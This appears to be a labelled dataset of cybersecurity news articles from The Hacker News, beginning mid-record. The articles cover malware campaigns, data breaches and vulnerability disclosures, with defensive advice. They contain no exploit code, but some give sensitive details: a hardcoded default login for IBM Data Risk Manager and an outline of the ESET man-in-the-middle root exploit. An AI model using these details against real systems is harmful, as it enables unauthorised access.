""When Check Point finds a vulnerability, we demonstrate its severity, report it to the appropriate vendor, and make sure it's patched, so it doesn't pose a threat,"" Cohen said. ""However, for individuals trading these exploits, it's a completely different story. For them, finding the vulnerability is just the beginning. They need to reliably exploit it on as many versions as possible, in order to monetize it to a customer's satisfaction.""
""This research provides insight into how that is achieved, and the buyers in this market, which often include nation-state actors. We believe that this research methodology can be used to identify additional exploit writers.""

",Vulnerability
Apple Patches 'Find My iPhone' Vulnerability Which May Caused Celebrities Photo Leak,https://thehackernews.com/2014/09/apple-patches-find-my-iphone.html,"Apple has patched the security flaw in its Find My iPhone online service that may have allowed hackers to get access to a number of celebrities' private pictures leaked online.

OVER 100 CELEBRITIES AFFECTED
So far, I hope everybody have heard about probably the biggest digital exposure of personal nude photographs belonging to as many as 100 high-profile celebrities, including Jenny McCarthy, Kristin Dunst, Mary E Winstead, and the Oscar winning actress Jennifer Lawrence and Kate Upton.

Initial reports suggested that the privacy breach of the celebrities' iCloud accounts was made possible by a vulnerability in Find My iPhone feature that allowed hackers to allegedly take nude photographs of celebrities from their Apple iCloud backups.

Anonymous 4chan users who claims to have grabbed images, posted some of the images to the ""b"" forum on notorious bulletin-board 4chan, where the owners demanded Bitcoin in exchange for a peek of the images.

The anonymous 4chan user sparked the scandal on Sunday after dumping a large cache of female celebrities' alleged naked photographs onto the 4chan online forum, an online message board used for sharing pictures. As a result of the leak, the nude photographs and videos of female celebrities are apparently being widely circulated on the internet.

After the story broke by the mainstream media, the affected celebrities including Oscar winner Jennifer Lawrence and model Kate Upton came forward to react on the matter. Within 12 hours, the web has been awash with private and some very personal photographs of celebrities.

WHERE THE VULNERABILITY RESIDES
On August 30, just a day before the massive leak, proof-of-concept code for an AppleID password bruteforce was uploaded to the GitHub by a mobile security team HackApp. What a coincident! Isn't it?

The proof-of-concept code for the exploit is known as iBrute. The code exploited a vulnerability in Apple's Find My iPhone application sign in page. The flaw let hackers to flood the site with multiple number of password attempts without being locked out and by using brute-force techniques, hackers could guess the password used to protect those celebrities accounts. Apple patched the vulnerability early on September 1.

FINALLY APPLE REACTED
Apple has acknowledged the attack, but did not address the vulnerability discussed here. The company issued a press release stating that iCloud or Find my iPhone had not been responsible for the leak of several private and personal photos of celebrities.

Rather it said that the celebrities photo breach was a ""very targeted attack on user names, passwords and security questions, a practice that has become all too common on the Internet. None of the cases we have investigated has resulted from any breach in any of Apple's systems including iCloud or Find my iPhone.""

IS APPLE'S TWO FACTOR AUTHENTICATION EFFECTIVE
Apple is encouraging its users to make use of its two-factor authentication service in an effort to prevent security-question based attacks on their accounts.

There is no doubt that two-factor verification makes it more difficult for hackers to obtain a user's login credentials in the first place, thereby preventing many attacks. But an iCloud backup can be installed with just a user name and a password, making two-factor authentication process incomplete.

Unfortunately, Apple's two-factor authentication currently doesn't protect against the kind of attack that was used in this case. It does not cover many other iCloud services, including backups. As noted by TechCrunch, the only three things two-factor secures in iCloud are:
Signing in to My Apple ID to manage their Apple account
Making iTunes, App Store, or iBookstore purchases from a new device
Receiving Apple ID-related support from Apple
In fact, it doesn't make you enter a verification code if you restore a new device from an iCloud backup. And this security hole is what the hackers are taking advantage of.

Using an application like ElcomSoft's software to download an iPhone's backup successfully, one can circumvent two-factor verification mechanism, because of the fact that the two-factor authentication system does not cover iCloud backups or Photo Stream.

HOW TO PROTECT YOURSELF
For users to protect against upcoming threats, follow these advices:
Whatever be the case with two-factor verification process, you have to enabled it because doing this will definitely add an extra layer of security to your account.
Try using different passwords for different accounts so that if one breached, you are not all lost.
Use a complex password and do not share it with anyone.
Same applies in case of email, use a private email for your ID — one that you don't share with anyone.
Don't click on links provided in emails, visit the given website directly from web.
Don't share your personal information over social networks at any cost.
Most importantly, use completely incorrect or random answers to password reset questions, so that nobody could guess it right.

",Vulnerability
Hackers behind Dyre Malware Busted in Police Raid,https://thehackernews.com/2016/02/hacking-dyre-malware.html,"The world's most notorious financial hacking operation disrupted by Russian authorities in November, when they raided the offices associated with a Moscow-based film and production company named 25th Floor.

According to the Russian authorities, 25th Floor was allegedly involved in distributing the notorious password-stealing malware known as Dyre Banking Trojan.

Malware Costs Hundreds of $$$ Millions in Losses

The Dyre banking Trojan was typically distributed via spam campaigns and was responsible for over hundreds of millions of dollars in losses at banking and financial institutions, including Bank of America Corp, PayPal, and JPMorgan Chase & Co.

Dyre, also known as Dyreza, first appeared in July 2014 and updated to target Windows 10 systems and its newest Edge browser.

However, Dyre has not been in use since the November raid, according to cyber security experts, who said the raid represents Russia's biggest effort up to date in cracking down on cyber crime.

It is yet not known whether the Russian authorities anyone has arrested or charged anyone linked to the raid.

However, the sources familiar with the matter told Reuters that the Dyre investigation was aided by security firm Kaspersky Lab that would reveal details about the case at its annual conference for security experts starting Sunday.

The malware authors used a variety of techniques to deliver Dyre malware onto victim's web browser in an effort to alter the communication between customers and over 400 financial institutions.

They Producing Cyber-Crime Thriller Movie — BOTNET

The name came out from the November raid: 25th Floor that distributes movies and Television shows in Russia and other East European and near-east countries.

The company is currently busy in the production of a film called BOTNET – a cyber crime thriller based on a 2010 case in which 37 people from the United States and other countries were charged for a $3 Million scam.

25th Floor hired Moscow-based computer security company Group-IB to advise the Botnet director and writers on the detailed aspects of cybercrime, said Group-IB CEO Ilya Sachkov. He said he was initially approached by Nikolay Volchkov, the CEO of 25th Floor.

Then Sachkov got an urgent call from Volchkov last November, saying he needed to meet.
""He was afraid. His color was totally white,"" added Sachkov. ""He knows there's an ongoing investigation about cybercrime.""
To know how the Dyre banking malware works and how you can protect yourself against the malware, you can read this The Hacker News article.

",Malware
"Geek.com Hacked, Infects Visitors with Malware !",https://thehackernews.com/2011/05/geekcom-hacked-infects-visitors-with_16.html,"Geek.com Hacked, Infects Visitors with Malware !


Security researchers from cloud security provider Zscaler warn that technology website geek.com was compromised and many of its pages are executing drive-by download attacks against visitors.

Geek.com is one of the oldest technology news websites around, dating back to 1996, the dawn of the commercial World Wide Web.

Attackers have managed to inject rogue IFrames into different portions of the site, both within articles and the site's main pages like home, about us, etc.

According to Umesh Wanve, a senior security research engineer at Zscaler, there are multiple infections and the iframes take visitors to different malicious websites.

One example is the rogue code injected into a May 13 article about Call of Duty: Modern Warfare 3 details being leaked, which redirects visitors to an exploit kit.

These kits perform various checks to determine what versions of certain program users have installed on their computers and then serve exploits for vulnerabilities in those products.

The most commonly used applications like Java Runtime Environment, Flash Player, Adobe Reader or the browser itself are usually targeted.

""As this is first article is highlighted and 'Call of Duty' is a very popular game, one can assume that many people have fallen victim to this attack,"" Mr. Wanve says.

Drive-by download attacks are currently one of the main malware distribution channels on the Internet. They are very dangerous because in most cases they are completely transparent to victims.

""Unfortunately, we see hundreds of attacks such as this each and every day. Many legitimate websites are being compromised by taking advantages of poor coding practices in web applications,"" the Zscaler security researcher says.

Users can protect themselves by keeping all of they software up to date, including the operating system itself, and running antivirus products capable of scanning web traffic. Mozilla Firefox users can also use advanced extensions such as NoScript.

Source

",Malware
AirAsia Indonesia Flight QZ 8501 : Cyber Criminals use missing Flight QZ 8501 mystery as Bait,https://thehackernews.com/2014/12/malaysian-airasia-flight-QZ8501.html,"After the Mysterious Malaysian Airlines flight MH370 incident in March 2014 and the shooting of Malaysia Airline Flight MH17 by a ground-to-air missile in July 2014, yesterday AirAsia flight QZ 8501 with 162 people on board found missing by the time it flew from the Indonesian city of Surabaya to Singapore after losing contact with air traffic control due to weather, the airline company said Sunday.

Since, cybercriminals are known to take advantage of every major incident and any occasion that captures public attention – regardless of how sensitive – comes out to be an opportunity for spammers and hackers to snatch users' personal information and spread malware, and the tragedy of the Missing AirAsia flight QZ 8501 is no exception.

Cyber criminals are exploiting the disappearance of Indonesia AirAsia flight QZ 8501 by luring users to websites purporting to offer the latest news in order to steal their personal information.

Our team has spotted some posts on social media claiming that the ""Missing AirAsia flight QZ850 has been found and that all its passengers are safe and alive"". But once the user click on the news, the link redirects users to the malicious websites. It made me remind of the missing Malaysian Airlines flight MH370, a Boeing 777-200 aircraft incident which opened doors for many cybercriminals to infect online users.

Indonesia Flight QZ 8501 lost its contact with air traffic control at 7:24 a.m. local time over the Java Sea after taking off from Surabaya, Indonesia, according to a statement from AirAsia. AirAsia flight QZ 8501 was scheduled to land in Singapore about an hour later.
""AirAsia Indonesia regrets to confirm that QZ8501 from Surabaya to Singapore has lost contact at 07:24hrs this morning,"" AirAsia tweeted.
Missing AirAsia flight QZ 8501 was last tracked around the island of Belitung, at the coordinates 03°22'15"" South and 109°41'28"" East, before disappearing from radars. Due to night, search and rescue operations have been suspended, which the team will resume tomorrow.

According to AirAsia, Indonesia flight QZ8501 had seven crew members and 155 passengers, including 137 adults, 17 children and one infant. The aircraft was flying at 32,000 feet and had asked to go to 38,000 feet due cloudy weather in the area.

May be scammers and cyber crooks could exploit this tragic incident to target as many online users as they want. Because they know that users sitting over their online devices and operating social media accounts such as Facebook and Twitter, have had an eye on every news update related to the Missing AirAsia flight QZ8501.

Cyber criminals may also come up with fake news websites in order to distribute malware and infect a large number of online users. So you need to have an eye on that too.

WHAT AN ONLINE USER NEED TO KEEP IN MIND
Beware! Before clicking a link for any news related to the Missing AirAsia flight QZ8501 over social networking sites such as Facebook and Twitter.
Always go for the genuine and reputed news site for any updates regarding the Missing AirAsia flight.
If any link claims you to show a video footage of the missing Indonesia flight QZ8501, please keep in your mind that their is no such video footage available yet. Beware of such fake videos and links that could spread in the wild across the various social media and other sites to abuse your network and system.
If you've already shared or ""liked"" any such link, it's probably best to delete malware post from your Facebook wall.
First the tragic incident of Malaysia Plane MH370 from Kuala Lumpur to Beijing on March 2014, then the shooting down of Malaysia Airlines flight MH17 from Amsterdam to Kuala Lumpur on 17 July 2014, and now the Missing AirAsia flight QZ850 incident is really a matter of sorrow for all of us.

",Malware
"'SoakSoak' Malware Compromises 100,000 WordPress Websites",https://thehackernews.com/2014/12/SoakSoak-Wordpress-Malware.html,"The users of WordPress, a free and open source blogging tool as well as content management system (CMS), are being informed of a widespread malware attack campaign that has already compromised more than 100,000 websites worldwide and still counting.

The news broke throughout the WordPress community earlier Sunday morning when Google blacklisted over 11,000 domains due to the latest malware campaign, that has been brought by SoakSoak.ru, thus being dubbed the 'SoakSoak Malware' epidemic.

While there are more than 70 million websites on the Internet currently running WordPress, so this malware campaign could be a great threat to those running their websites on WordPress.

Once infected, you may experience irregular website behavior including unexpected redirects to SoakSoak.ru web pages. You may also end up downloading malicious files onto your computer systems automatically without any knowledge.

The search engine giant has already been on top of this infection and has added over 11,000 websites to their blacklist that could have seriously affected the revenue potential of website owners, running those blacklisted websites.

The security team at the security firm Sucuri, which is actively investigating the potential vector of the malware, said that the infections are not targeted only at WordPress websites, but it appears that the impact seems to be affecting most hosts across the WordPress hosting spectrum.

SoakSoak malware modifies the file located at wp-includes/template-loader.php which causes wp-includes/js/swobject.js to be loaded on every page view on the website and this ""swobject.js"" file includes a malicious java encoded script malware.

If you run any website and are worried about the potential risk of the infection to your website, Sucuri has provided a Free SiteCheck scanner that will check your website for the malware. The exact method of intrusion has not been pointed out at this time, but numerous signals led to believe us all that many WordPress users could have fallen victim to this attack.

However, if you are behind the Website Firewall, CloudProxy, you are being protected from the SoakSoak malware campaign.

",Malware
North Korean Hackers Steal thousands of Military files from S. Korea,https://thehackernews.com/2016/06/north-korean-hackers.html,"Hackers aligned with North Korea have always been accused of attacking and targeting South Korean organizations, financial institutions, banks and media outlets.

Recent reports indicate that North Korean hackers have hacked into more than 140,000 computers of at least 160 South Korean government agencies and companies, and allegedly injected malware in the systems.

The cyber attack was designed to lay for a long term period against its rival, authorities in Seoul said.

The South Korean police were on high alert against cyberattacks by the North Korean hackers, especially after North Korea successfully tested a miniaturized hydrogen bomb in January and a long-range rocket launch in February, Reuters reports.

According to the police, the hacking attack began in 2014 but was detected only in February this year, after North Korea managed to steal information from two companies: the SK and Hanjin Group.

The documents stolen from the two companies included blueprints for the wings of F-15 fighter jets, an official at the South Korea cyber investigation unit confirmed.
The investigation unit said, ""There is a high possibility that the North aimed to cause confusion on a national scale by launching a simultaneous attack after securing many targets of cyber terror, or intended to continuously steal industrial and military secrets.""
More than 42,000 materials were stolen in the hack, of which more than 40,000 materials were defense-related.

Although a South Korean defense ministry official said that the stolen documents were not secret and that there wasn't any security breach, a spokesperson from SK Holdings stated that 4 group affiliates were affected by the cyber attack.

The cyber attack originated from an IP address traced down to the North Korea and was intended to target the network management software used by 160 companies and government agencies in South Korea.

The police declined to identify the malicious software, though the IP address from where the hack was originated was identical to one used in a 2013 cyberattack against banks and TV broadcasters in South Korea.

The South Korean police were then teamed up with companies and other government agencies to disable the malware and prevent the malicious code from further spreading, in what could lead to a massive cyber attack.

",Malware
What does the Poetry with Citadel trojan ?,https://thehackernews.com/2013/02/what-does-poetry-with-citadel-trojan.html,"Recently we published an article on the attacks against Japanese banks using a new variant of the popular Zeus, one of the most prolific malware of recent history, security experts in fact have detected various versions of the popular malicious code that hit also mobile and social networking platforms.

Due its flexibility the malware has been re-engineered several times by cyber criminals that adapted its structure to specific purposes and context, leaving unchanged its core capabilities of stealing banking credentials of victims.


Zeus has been a huge success in the criminal circles especially for the sales model, as malware as service, implemented by its authors on many underground sites, let's remind for example the Citadel Trojan one of the most popular on the crimeware market. Fortunately its author, known as Aquabox, has been banned from a large online forum that sells malware and other services to cyber criminals, but many security firms consider Citadel Trojan still very active threat that continues to infect many machines all over the world.

Security experts from McAfee Labs are sure that the agent will remain active for a long time, it also indicate that some groups of hackers are staring to use the malware for other purposes such as the cyber espionage. McAfee Global Threat Intelligence report indicates the ""Poetry Group"" is one of the most active in this sense, the collective compromised 27 Japanese government offices across three distinct campaigns and targeted around 43 government offices in Poland. The group was very aggressive in October 2012 when it conducted more than a half-dozen campaigns infecting victims in Poland, Denmark, Sweden, Spain, Netherlands, Estonia, Czech Republic, Switzerland, and Japan, compromising more than 1,000 victims worldwide.

The researchers from McAfee Labs were able to pinpoint the regions ""and identify targets and victims spanning more than a half-dozen campaigns"", the highest infection rate were registered in Denmark, Poland, Spain and Japan.
Curiously Japan is one of the most targeted countries by cyber espionage campaign, in many cases we have spoken about cyber attacks malware based that hit industry and government offices of the state.

The victims located in Poland appears to be all government offices and the exerts discovered that attackers conducted a targeted campaign on specific targets across the country from December 2012 to January 2013.

Nice the way the hackers used to ""identify"" their works, they in fact added strings of poetry in the malware binary, Ryan Sherstobitoff, a McAfee researcher declared: ""We've found them making political statements against the groups they are targeting,""

McAfee analysts detected more that 300 unique Citadel Trojan samples, each of them included its sequence of poetry strings that aren't automatically generated , the specialists suspect that Poetry Group may be a byproduct of a for-hire data-gathering operation for a private clientele.


In the fight against malware such as Citadel it is fundamental a layered approach that was able to detect the cyber threats and also any suspect behavior within target networks. In many cases such malware are demonstrated to be able to elude common antivirus systems and their behavioral detection mode.

Unfortunately these agents are able to remain silently for a long period infiltrating internal systems and remaining undetected in the target networks for long time.

The adaptation of the Citadel malware for other uses is a scaring signal due the capabilities of the malicious agent, the Trojan make possible remote control of victims and is able to steal any kind of information, not only banking credentials from victims. Sherstobitoff added: ""If they wanted to penetrate the entire network of a financial institution or some other organization, they could,""

Waiting for further updates on the operations of the Poetry Group lets keep update antivirus software and any other application that runs on our systems, because as Sherstobitoff added ""These attacks result from not taking patch management seriously,"".

",Malware
Zero-Day Exploit released for Vulnerability in Novell ZENworks,https://thehackernews.com/2012/10/zero-day-exploit-released-for.html,"Rapid7 researcher Juan Vazquez recently uncovered a zero-day security flaw in Novell ZENworks Asset Management 7.5. This Vulnerability (CVE-2012-4933) gives access to any files with system privileges and could also allow an attacker to grab configuration parameters, including the backend credentials in clear text.

ZENworks Asset Management provides a Web Console, where the user can access the data collected about network devices and edit some information. This web interface provides some maintenance calls, two of them accessible with hardcoded credentials, allowing a remote attacker to retrieve any file from the remote file system with SYSTEM privileges and to get configuration parameters from the ZENworks Asset Management including the backend credentials in clear text.

The vulnerability currently remains unpatched and US CERT recommends that users implement firewall rules that will restrict access to the web interface by unauthorised users.

Read here, more about exploitation of this vulnerability and find two auxiliary modules that will give Metasploit users the ability to test their ZENworks software.

",Vulnerability
100k IEEE site Plain-Text Passwords found on Public FTP,https://thehackernews.com/2012/09/100k-ieee-site-plain-text-passwords.html,"A Romanian researcher - Radu Drăgușin found that 100000 usernames and passwords of the Institute of Electrical and Electronics Engineers (IEEE) was stored in plaint-text on a publicly accessible FTP server.

According to him, on Sept. 18 he first discovered a log with usernames and passwords in plaintext, publicly available via IEEE's FTP server for at least a month. He informed them of his find yesterday, and evidently the organization is addressing the issue.

On the FTP server, according Dragusin were the logfiles for the offers and ieee.org spectrum.ieee.org - Total data to approximately 376 million HTTP requests. Including 411,308 log entries with login and password in plain text.

Among the users who's information was exposed are researchers at NASA, Stanford, IBM, Google, Apple, Oracle and Samsung. IEEE's membership of over 340,000 is roughly half American (49.8 percent as of 2011).

""IEEE suffered a data breach which I discovered on September 18. For a few days I was uncertain what to do with the information and the data. Yesterday I let them know, and they fixed (at least partially) the problem. The usernames and passwords kept in plaintext were publicly available on their FTP server for at least one month prior to my discovery. Among the almost 100.000 compromised users are Apple, Google, IBM, Oracle and Samsung employees, as well as researchers from NASA, Stanford and many other places. I did not and will not make the raw data available to anyone else."" Message posted on researcher's site.



",Vulnerability
Facebook Camera App Vulnerable to Man in The Middle Attack,https://thehackernews.com/2012/12/facebook-camera-app-vulnerable-to-man.html,"Egypt-based security researcher reported that Facebook Camera App for mobiles are Vulnerable to Man in The Middle Attack, that allow an attacker to tap the network and hijack Camera users accounts and information like email addresses and passwords can be stolen.

Mohamed Ramadan trainer with Attack-Secure, who previously reported us about similar vulnerability in Etsy app for iPhone

Mohamed explains ""The problem is that the app accepts any SSL certification from any source, even evil SSL certifications, and this enables any attacker to perform man in the middle attacks against anyone who uses the Facebook Camera app for IPhone. This means that the application doesn't warn the user if someone in the same (Wi-Fi network) is trying to hijack his or her Facebook account.""

Facebook suggest users to upgrade the Camera application To Version 1.1.2. A statement released by the company says ""We applaud the security researcher who brought this bug to our attention for responsibly reporting the bug to our White Hat Program. We worked with the team to make sure we understood the full scope of the bug, which allowed us to fix it and upgrade the Camera application without any evidence that this bug was exploited in the wild. Users are only vulnerable if they are using an unsecured or untrusted public wireless network and an older version of the application.""

""As always, we remind all users to only connect to networks they trust. Users can protect themselves by downloading the latest version of the Camera app. Due to the responsible reporting of this issue to Facebook, no one within the security community has evidence of account compromise using this bug. We have provided a bounty to the researcher to thank them for their contribution to Facebook Security.""

Facebook suggest users to upgrade the Camera application To Version 1.1.2.

",Vulnerability
Researchers Uncover FIN8's New Backdoor Targeting Financial Institutions,https://thehackernews.com/2021/08/researchers-uncover-fin8s-new-backdoor.html,"A financially motivated threat actor notorious for setting its sights on retail, hospitality, and entertainment industries has been observed deploying a completely new backdoor on infected systems, indicating the operators are continuously retooling their malware arsenal to avoid detection and stay under the radar.
The previously undocumented malware has been dubbed ""Sardonic"" by Romanian cybersecurity technology company Bitdefender, which it encountered during a forensic investigation in the wake of an unsuccessful attack carried out by FIN8 aimed at an unnamed financial institution located in the U.S.
Said to be under active development, ""Sardonic backdoor is extremely potent and has a wide range of capabilities that help the threat actor leverage new malware on the fly without updating components,"" Bitdefender researchers Eduard Budaca and Victor Vrabie said in a report shared with The Hacker News.
Since emerging on the scene in January 2016, FIN8 has leveraged a multitude of techniques such as spear-phishing and malicious software such as PUNCHTRACK and BADHATCH to steal payment card data from point-of-sale (POS) systems.
The threat group, which is known for taking extended breaks in between campaigns to fine-tune its tactics and increase the success rate of its operations, conducts cyber incursions primarily through ""living off the land"" attacks, using built-in tools and interfaces like PowerShell as well as taking advantage of legitimate services like sslip.io to disguise their activity.
Earlier this March, Bitdefender revealed FIN8's return after a year-and-a-half hiatus to target insurance, retail, technology, and chemical industries in the U.S., Canada, South Africa, Puerto Rico, Panama, and Italy with a revamped version of the BADHATCH implant featuring upgraded capabilities, including screen capturing, proxy tunneling, credential theft, and fileless execution.
In the latest incident analyzed by the firm, the attackers are said to have infiltrated the target network to conduct detailed reconnaissance, before carrying out lateral movement and privilege escalation activities to deploy the malware payload. ""There were multiple attempts to deploy the Sardonic backdoor on domain controllers in order to continue with privilege escalation and lateral movement, but the malicious command lines were blocked,"" the researchers said.
Written in C++, Sardonic not only takes steps to establish persistence on the compromised machine, but also comes equipped with capabilities that allow it to obtain system information, execute arbitrary commands, and load and execute additional plugins, the results of which are transmitted to a remote attacker-controlled server.
If anything, the latest development is yet another sign of FIN8's shift in tactics by strengthening its capabilities and malware delivery infrastructure. To mitigate the risk associated with financial malware, companies are recommended to separate their POS networks from those used by employees or guests, train employees to better spot phishing emails, and improve email security solutions to filter potentially suspicious attachments.

",Malware
Critical Flaw in ESET Antivirus Exposes Mac Users to Remote Hacking,https://thehackernews.com/2017/02/eset-antivirus-mac.html,"What could be more exciting for hackers than exploiting a vulnerability in a widely used software without having to struggle too much?

One such easy-to-exploit, but critical vulnerability has been discovered in ESET's antivirus software that could allow any unauthenticated attackers to remotely execute arbitrary code with root privileges on a Mac system.

The critical security flaw, tracked as CVE-2016-9892, in ESET Endpoint Antivirus 6 for macOS was discovered by Google Security Team's researchers Jason Geffner and Jan Bee at the beginning of November 2016.

As detailed in the full disclosure, all a hacker needs to get root-level remote code execution on a Mac computer is to intercept the ESET antivirus package's connection to its backend servers using a self-signed HTTPS certificate, put himself in as a man-in-the-middle (MITM) attacker, and exploit an XML library flaw.

The actual issue was related to a service named esets_daemon, which runs as root. The service is statically linked with an outdated version of the POCO XML parser library, version 1.4.6p1 released in March 2013.

This POCO version is based on a version of the Expat XML parser library version 2.0.1 from 2007, which is affected by a publicly known XML parsing vulnerability (CVE-2016-0718) that could allow an attacker to execute arbitrary code via malicious XML content.

Now, when esets_daemon sent a request to https://edf.eset.com/edf during activation of the ESET Endpoint Antivirus product, an MITM attacker can intercept the request to deliver a malformed XML document using a self-signed HTTPS certificate.

This event triggers the CVE-2016-0718 flaw that executes the malicious code with root privileges when esets_daemon parsed the XML content.

This attack was possible because the ESET antivirus did not validate the web server's certificate.

Here's what the duo explain:

""Vulnerable versions of ESET Endpoint Antivirus 6 are statically linked with an outdated XML parsing library and do not perform proper server authentication, allowing for remote unauthenticated attackers to perform arbitrary code execution as root on vulnerable clients.""

Now since the hacker controls the connection, they can send malicious content to the Mac computer in order to hijack the XML parser and execute code as root.

The Google researchers have also released the proof-of-concept (PoC) exploit code, which only shows how the ESET antivirus app can be used to cause a crash.

ESET addressed this vulnerability on February 21 by upgrading the POCO parsing library and by configuring its product to verify SSL certificates.

The patch is made available in the release of version 6.4.168.0 of ESET Endpoint Antivirus for macOS. So, make sure your antivirus package is patched up to date.

",Vulnerability
Researcher Discloses 4 Zero-Day Bugs in IBM's Enterprise Security Software,https://thehackernews.com/2020/04/ibm-data-risk-manager-vulnerabilities.html,"A cybersecurity researcher today publicly disclosed technical details and PoC for 4 unpatched zero-day vulnerabilities affecting an enterprise security software offered by IBM after the company refused to acknowledge the responsibly submitted disclosure.

The affected premium product in question is IBM Data Risk Manager (IDRM) that has been designed to analyze sensitive business information assets of an organization and determine associated risks.

According to Pedro Ribeiro from Agile Information Security firm, IBM Data Risk Manager contains three critical severity vulnerabilities and a high impact bug, all listed below, which can be exploited by an unauthenticated attacker reachable over the network, and when chained together could also lead to remote code execution as root.

Authentication Bypass
Command Injection
Insecure Default Password
Arbitrary File Download

Ribeiro successfully tested the flaws against IBM Data Risk Manager version 2.0.1 to 2.0.3, which is not the latest version of the software but believes they also work through 2.0.4 to the newest version 2.0.6 because ""there is no mention of fixed vulnerabilities in any change log.""

""IDRM is an enterprise security product that handles very sensitive information. A compromise of such a product might lead to a full-scale company compromise, as the tool has credentials to access other security tools, not to mention it contains information about critical vulnerabilities that affect the company,"" Ribeiro said.

Critical Zero-Day Vulnerabilities in IBM Data Risk Manager

In brief, the authentication bypass flaw exploits a logical error in the session ID feature to reset the password for any existing account, including the administrator.

The command injection flaw resides in the way IBM's enterprise security software lets users perform network scans using Nmap scripts, which apparently can be equipped with malicious commands when supplied by attackers.

According to the vulnerability disclosure, to SSH and run sudo commands, IDRM virtual appliance also has a built-in administrative user with username ""a3user"" and default password of ""idrm,"" which if left unchanged, could let remote attackers take complete control over the targeted systems.

The last vulnerability resides in an API endpoint that allows authenticated users to download log files from the system. However, according to the researcher, one of the parameters to this endpoint suffers from a directory traversal flaw that could let malicious users download any file from the system.

Besides technical details, the researcher has also released two Metasploit modules for authentication bypass, remote code execution, and arbitrary file download issues.

Ribeiro claims to have reported this issue to IBM via CERT/CC and in response, the company refused to accept the vulnerability report, saying: "" We have assessed this report and closed as being out of scope for our vulnerability disclosure program since this product is only for ""enhanced"" support paid for by our customers.""

In response Ribeiro said, ""In any case, I did not ask or expect a bounty since I do not have a HackerOne account and I don't agree with HackerOne's or IBM's disclosure terms there. I simply wanted to disclose these to IBM responsibly and let them fix it.""

The Hacker News has reached out to IBM, and we will update the article as more information becomes available.

Update:

An IBM spokesperson told The Hacker News that ""a process error resulted in an improper response to the researcher who reported this situation to IBM. We have been working on mitigation steps and they will be discussed in a security advisory to be issued.""
",Data_Breaches
Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild,https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html,"Cyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday.
""SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,"" the National Cyber Security Centre (NCSC) said.
These include the deployment of an open-source tool called Sliver to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.
The development follows the public attribution of SVR-linked actors to the SolarWinds supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.
The attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.
CVE-2018-13379 - Fortinet FortiGate VPN
CVE-2019-9670 - Synacor Zimbra Collaboration Suite
CVE-2019-11510 - Pulse Secure Pulse Connect Secure VPN
CVE-2019-19781 - Citrix Application Delivery Controller and Gateway
CVE-2020-4006 - VMware Workspace ONE Access
""The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example COVID-19 vaccine targeting in 2020,"" the NCSC said.
This was followed by a separate guidance on April 26 that shed more light on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.
Now according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to ""rapidly"" weaponize recently released public vulnerabilities that could enable initial access to their targets.
CVE-2019-1653 - Cisco Small Business RV320 and RV325 Routers
CVE-2019-2725 - Oracle WebLogic Server
CVE-2019-7609 - Kibana
CVE-2020-5902 - F5 Big-IP
CVE-2020-14882 - Oracle WebLogic Server
CVE-2021-21972 - VMware vSphere
CVE-2021-26855 - Microsoft Exchange Server
""Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,"" the agency said.

",Malware
9 Android Apps On Google Play Caught Distributing AlienBot Banker and MRAT Malware,https://thehackernews.com/2021/03/9-android-apps-on-google-play-caught.html,"Cybersecurity researchers have discovered a new malware dropper contained in as many as 9 Android apps distributed via Google Play Store that deploys a second stage malware capable of gaining intrusive access to the financial accounts of victims as well as full control of their devices.
""This dropper, dubbed Clast82, utilizes a series of techniques to avoid detection by Google Play Protect detection, completes the evaluation period successfully, and changes the payload dropped from a non-malicious payload to the AlienBot Banker and MRAT,"" Check Point researchers Aviran Hazum, Bohdan Melnykov, and Israel Wernik said in a write-up published today.
The apps that were used for the campaign include Cake VPN, Pacific VPN, eVPN, BeatPlayer, QR/Barcode Scanner MAX, Music Player, tooltipnatorlibrary, and QRecorder. After the findings were reported to Google on January 28, the rogue apps were removed from the Play Store on February 9.
Malware authors have resorted to a variety of methods to bypass app store vetting mechanisms. Whether be it using encryption to hide strings from analysis engines, creating rogue versions of legitimate apps, or crafting fake reviews to lure users into downloading the apps, fraudsters have hit back at Google's attempts to secure the platform by constantly developing new techniques to slip through the net.
Equally popular are other methods like versioning, which refers to uploading a clean version of the app to the Play Store to build trust among users and then sneakily adding unwanted code at a later stage via app updates, and incorporating time-based delays to trigger the malicious functionality in an attempt to evade detection by Google.
Clast82 is no different in that it utilizes Firebase as a platform for command-and-control (C2) communication and makes use of GitHub to download the malicious payloads, in addition to leveraging legitimate and known open-source Android applications to insert the Dropper functionality.
""For each application, the actor created a new developer user for the Google Play store, along with a repository on the actor's GitHub account, thus allowing the actor to distribute different payloads to devices that were infected by each malicious application,"" the researchers noted.
For instance, the malicious Cake VPN app was found to be based on an open-sourced version of its namesake created by a Dhaka-based developer by the name of Syed Ashraf Ullah. But once the app is launched, it takes advantage of the Firebase real-time database to retrieve the payload path from GitHub, which is then installed on the target device.
In the event the option to install apps from unknown sources has been turned off, Clast82 repeatedly urges the user every five seconds with a fake ""Google Play Services"" prompt to enable the permission, ultimately using it to install AlienBot, an Android banking MaaS (malware-as-a-service) capable of stealing credentials and two-factor authentication codes from financial apps.
Last month, a popular barcode scanner app with over 10 million installations turned rogue with a single update after its ownership changed hands. In a similar development, a Chrome extension by the name of The Great Suspender was deactivated following reports that the add-on stealthily added features that could be exploited to execute arbitrary code from a remote server.
